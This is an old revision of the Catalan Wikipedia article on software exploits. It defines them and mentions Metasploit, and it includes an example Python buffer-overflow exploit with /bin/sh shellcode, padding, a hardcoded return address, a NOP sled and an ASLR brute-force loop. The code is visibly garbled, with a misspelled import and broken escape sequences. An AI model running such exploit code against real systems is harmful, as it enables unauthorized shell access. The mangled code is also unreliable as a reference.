Vés al contingut

Exploit

De la Viquipèdia, l'enciclopèdia lliure
Aquesta és una versió anterior d'aquesta pàgina, de data 09:30, 1 juny 2010 amb l'última edició de Mcapdevila (discussió | contribucions). Pot tenir inexactituds o contingut no apropiat no present en la versió actual.
(dif.) ←la pròxima versió més antiga | vegeu la versió actual (dif.) | Versió més nova → (dif.)

Exploit (del anglès to exploit , explotar o aprofitar ) és una peça de programari, un fragment de dades, o una seqüència de comandes per tal d'automatitzar l'aprofitament d'un error, fallada o vulnerabilitat, per tal de causar un comportament no desitjat o imprevist en els programes informàtics, maquinari, o component electrònic (en general computat). Sovint, això inclou coses com ara la violenta presa de control d'un sistema de còmput o permetre l'escalada de privilegis o un atac de denegació de servei.

La fi del Exploit pot ser violar les mesures de seguretat per poder accedir-hi de forma no autoritzada i emprar en benefici propi o com a origen d'altres atacs a tercers.

Els Exploits poden ser escrits emprant una diversitat de llenguatges de programació, tot i que majoritàriament se sol utilitzar llenguatge C. També pot aprofitar-se de diferents tipus d'atacs com ara desbordament de memòria intermèdia, Cross Site Scripting, Format Strings, Injecció SQL, entre altres.

Un exemple d'un exploit, que s'aprofita d'un desbordament de memòria intermèdia escrit en llenguatge Python seria:

# !/usr/bin/env python
import us
import sys
import time

class Exploit:

   def __init__ (self):
      if len (sys.argv) <> 2:
         print "\n [*] Ús: python exploit.py/path/binary \n"
         exit ()
      else:
         self.arg2 = sys.argv [1]
         # Command =/bin/sh Size = 24 bytes Bind = No
         self.shellcode = ("\x99 \X31 \xc0 \x52 \x68 \X6E \x2f \x73"
                           "\X68 \x68 \x2f \x2f \x62 \x69 \x89 \xe3"
                           "\X52 \x53 \x89 \xe1 \xb0 \x0b \xcd \x 80")

         self.payload = '\x41' * 1036 # Padding 0x41 (A)
         self.payload+= '\X70 \x9b \x 80 \xbf' # Magic Address --> 0xbf809b70
         self.payload+= '\x90' * 10000 # 0x90 (NOP) x 10000
         # The ASLR begin at the memory address 0xbf80010 # i1

   def loop (self):
      print "\n [+] Starting Explotation ... \n"
      time.sleep (2)

      while True:
         os.system (self.arg2+''+self.payload+self.shellcode)

"" "Start execution" ""
if __name__ == '__main__':
   union = Exploit ()
   connector = union.loop ()
exit ()

Una de les eines més utilitzades per treballar amb aquest tipus de programari és Metasploit Framework , una plataforma de test de penetració escrita en llenguatge de programació Ruby, com així també altres frameworks com Core Impact , Canvas , entre altres.

Vegeu també